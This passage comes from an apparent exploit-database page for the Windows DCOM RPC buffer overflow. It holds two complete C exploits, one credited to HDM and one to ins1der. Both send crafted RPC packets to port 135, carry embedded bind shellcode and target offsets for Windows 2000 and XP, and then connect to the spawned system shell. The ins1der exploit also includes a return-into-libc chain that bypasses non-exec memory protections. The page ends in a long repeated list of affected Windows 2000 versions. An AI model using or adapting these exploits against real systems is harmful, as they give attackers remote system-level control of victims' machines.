"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int main(int argc, char **argv)
{
int sock;
int len,len1;
unsigned int target_id;
unsigned long ret;
struct sockaddr_in target_ip;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
printf("---------------------------------------------------------\n");
printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
printf("- Original code by FlashSky and Benjurry\n");
printf("- Rewritten by HDM <hdm [at] metasploit.com>\n");
if(argc<3)
{
printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]);
printf("- Targets:\n");
for (len=0; targets[len] != NULL; len++)
{
printf("- %d\t%s\n", len, targets[len]);
}
printf("\n");
exit(1);
}
/* yeah, get over it :) */
target_id = atoi(argv[1]);
ret = offsets[target_id];
printf("- Using return address of 0x%.8x\n", ret);
memcpy(sc+36, (unsigned char *) &ret, 4);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(port);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
perror("- Connect");
return(0);
}
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
perror("- Send");
return(0);
}
len=recv(sock, buf1, 1000, 0);
if (send(sock,buf2,len1,0)== -1)
{
perror("- Send");
return(0);
}
close(sock);
sleep(1);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(4444);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
printf("- Exploit appeared to have failed.\n");
return(0);
}
printf("- Dropping to System Shell...\n\n");
shell(sock);
return(0);
}
// milw0rm.com [2003-07-26]
Exploit Database EDB-ID : 117
Date de publication : 2003-11-06 23h00 +00:00
Auteur : ins1der
EDB Vérifié : Yes
/*
* have you recently bought one of those expensive new windows security products
* on the market? do you think you now have strong protection?
* Look again:
*
* *rpc!exec*
* by ins1der (trixterjack yahoo com)
*
* windows remote return into libc exploit!
*
* remote rpc exploit breaking non exec memory protection schemes
* tested against :
* OverflowGuard
* StackDefender (kernel32 imagebase randomization:O nice try guys.)
*
*
* currently breaking:
* Windows 2000 SP0 (english)
* Windows XP SP0 (english)
*
* to get new offsets use this:
* ------------------------------
* #include <windows.h>
* #include <stdio.h>
*
* int main()
* {
* HANDLE h1,h2;
* unsigned long addr1,addr2,addr3,addr4;
* h1=LoadLibrary("ntdll.dll");
* h2=LoadLibrary("MSVCRT.dll");
* addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");
* addr2=(unsigned long)GetProcAddress(h2,"memcpy");
* addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");
* for (addr4=addr1;addr4<addr1+0xffff;addr4++)
* {
* if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;
* }
* printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);
* return 0;
* }
* -----------------------------
* to get the last offset use a standard rpc dcom exploit with the last
* \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit
* and read the drwatson logs. substract 0xA5 from the fault address.
*
*
* Shouts go to:
* w00pz, SpaceCow, Int3, lacroix, misu200, j00(xor),
* s0ny, crisis, and to all my true friends.
*
*
* Enjoy!
*
*/
#include <sys/socket.h>
#include <netinet/in.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0xE5,0x00,0x00,0x00,
0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45,0x64,0x49,0xB0,0x70,0xDD,0xAE,
0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E,0x0D,0x00,0x00,0x00,0x00,0x00,
0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x00,0x20,
0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41,0x52,0x42,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0xA8,0xF4,0x0B,0x00,
0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,
0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,
0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29,0xCD,0x00,0x00,0x00,0x00,0x00,
0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x78,0x00,0x00,0x00,
0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09,0x02,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x19,0x0C,0x00,
0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x70,0xD8,0x98,0x93,
0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00,0x00,0x00,0x32,0x00,0x31,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,
0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,
0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E,0xE9,0x4A,0x99,0x99,0xF1,0x8A,
0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00,0x00,0x00,0x78,0x00,0x6E,0x00,
0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00,0x58,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00,0x00,0x00,0x30,0x00,0x2E,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00,0x00,0x00,0x0E,0x00,0xFF,0xFF,
0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00
};
unsigned char request3[]={
0x5C,0x00,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,
0x35,0x00,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
0x31,0x00,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char request4[]={
0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,
0x00,0x00,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x28,0x8C,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
struct offset
{
char *description;
unsigned long valloc;
unsigned long amemcpy;
unsigned long vprot;
unsigned long ret;
unsigned long frame;
};
struct offset targets[]=
{
{"Windows 2000 SP0 (english)",
0x77f95da9,
0x78001194,
0x77f82ffb,
0x77f96800,
0x52f770
}
,
{"Windows XP SP0 (english)",
0x77f7e4c3,
0x77c42e10,
0x77f7ec43,
0x77f80a07,
0x5bf79c
}
,
{NULL,0,0,0,0,0}
};
unsigned char shell[]=
"\x46\x00\x58\x00"
"\x4E\x00\x42\x00"
"\x46\x00\x58\x00"
"\x46\x00\x58\x00"
"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xcc\xe0\xfd\x7f"
"\xcc\xe0\xfd\x7f"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e"
"\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9"
"\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68"
"\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04"
"\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff"
"\x36\x68\xef\xce\xe0\x60\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76"
"\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76"
"\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76"
"\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76"
"\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76"
"\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76"
"\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff"
"\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"
"\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02"
"\x00\x1c\x07\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56"
"\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63"
"\x6d\x64\x2e\x89\x66\x30\x83\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9"
"\x83\xc1\x15\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89"
"\x54\x24\x48\x89\x54\x24\x4c\x89\x54\x24\x50\x8d\x44\x24\x10\x54"
"\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b"
"\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56"
"\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09\x8b\x40\x34\x8b\xa8\xb8\x00"
"\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24"
"\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20"
"\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac"
"\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75"
"\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04"
"\x00\x90\x90\x90\x80\xbf\x32\x94\x80\xbf\x32\x94";
struct frame1
{
unsigned long frame0;
unsigned long ret;
}fr1;
struct retstruct
{
unsigned long frame1;
unsigned long valloc;
unsigned long ret1;
unsigned long dummy1;
unsigned long pointer11;
unsigned long zero;
unsigned long pointer12;
unsigned long type;
unsigned long prot;
unsigned long frame2;
unsigned long amemcpy;
unsigned long ret2;
unsigned long dest;
unsigned long src;
unsigned long size2;
unsigned long frame3;
unsigned long vprot;
unsigned long ret3;
unsigned long dummy2;
unsigned long pointer21;
unsigned long pointer22;
unsigned long newprot;
unsigned long oldprot;
}rets;
void prepare_ret(int id)
{
rets.type=0x3000;
rets.prot=0x4;
rets.newprot=0x20;
rets.valloc=targets[id].valloc;
rets.amemcpy=targets[id].amemcpy;
rets.vprot=targets[id].vprot;
fr1.ret=rets.ret1=rets.ret2=targets[id].ret;
fr1.frame0=targets[id].frame;
rets.frame1=fr1.frame0+9*4;
rets.frame2=rets.frame1+6*4;
rets.oldprot=fr1.frame0;
rets.frame3=rets.frame1;
rets.size2=sizeof(shell);
rets.src=fr1.frame0;
rets.dest=0x55555000;
rets.ret3=0x5555506c;
rets.dummy1=rets.dummy2=0xffffffff;
rets.zero=0;
*(int*)(shell+148)=0x55555000;
*(int*)(shell+152)=sizeof(shell);
*(int*)(shell+140)=0x55555000;
*(int*)(shell+144)=sizeof(shell);
rets.pointer11=fr1.frame0+92;
rets.pointer12=fr1.frame0+96;
rets.pointer21=fr1.frame0+100;
rets.pointer22=fr1.frame0+104;
memcpy(shell+32,&fr1,sizeof(fr1));
memcpy(shell+48,&rets,sizeof(rets));
}
void entershell(int sock)
{
char buf[3000];
fd_set fdr;
int rs;
FD_ZERO(&fdr);
FD_SET(sock,&fdr);
FD_SET(0,&fdr);
for(;;)
{
FD_SET(sock, &fdr);
FD_SET(0, &fdr);
if(select(FD_SETSIZE,&fdr,NULL,NULL,NULL)<0) break;
if(FD_ISSET(sock, &fdr))
{
if((rs=read(sock,buf,sizeof(buf)))<0)
{
printf("connection lost\n");
return;
}
if(write(1,buf,rs)<0) break;
}
if(FD_ISSET(0,&fdr))
{
if((rs=read(0,buf,sizeof(buf)))<0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if (write(sock,buf,rs) < 0) break;
}
usleep(100);
}
printf("connection closed\n");
return;
}
int main(int argc, char **argv)
{
int sock,i,len1;
struct sockaddr_in sin;
unsigned char buf1[0x1000],buf2[0x1000];
if(argc<3)
{
printf("###############################\n");
printf("return into libc rpc exploit\n");
printf("ins1der 2003\n");
printf("*****************************************\n");
printf("usage: %s <ip> <id>\n", argv[0]);
printf("*****************************************\n");
printf("targets:\n");
printf("-----------------------------------------\n");
for (i=0;targets[i].description!= NULL;i++)
{
printf("%d\t%s\n",i,targets[i].description);
}
printf("-----------------------------------------\n");
return 0;
}
printf("Exploiting %s...\n",argv[1]);
prepare_ret(atoi(argv[2]));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr(argv[1]);
sin.sin_port=htons(135);
if ((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket ");
return 0;
}
if(connect(sock,(struct sockaddr*)&sin, sizeof(sin)))
{
perror("connect ");
return 0;
}
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(shell)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(shell)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,shell,sizeof(shell));
len1=len1+sizeof(shell);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(shell)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(shell)-0xc;
if (send(sock,(char*)bindstr,sizeof(bindstr),0)==-1)
{
perror("send");
return 0;
}
recv(sock,(char*)buf1,1000,0);
if (send(sock,(char*)buf2,len1,0)== -1)
{
perror("send");
return 0;
}
close(sock);
sleep(1);
sin.sin_port = htons(7175);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
printf("Exploit failed\n");
return(0);
}
printf("Entering shell\n");
entershell(sock);
return 1;
}
// milw0rm.com [2003-11-07]
Products Mentioned
Configuraton 0
Microsoft>>Windows_2000 >> Version *
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version beta3 (Open CPE detail)
Microsoft>>Windows_2000 >> Version *
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
Microsoft>>Windows_2000 >> Version *
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
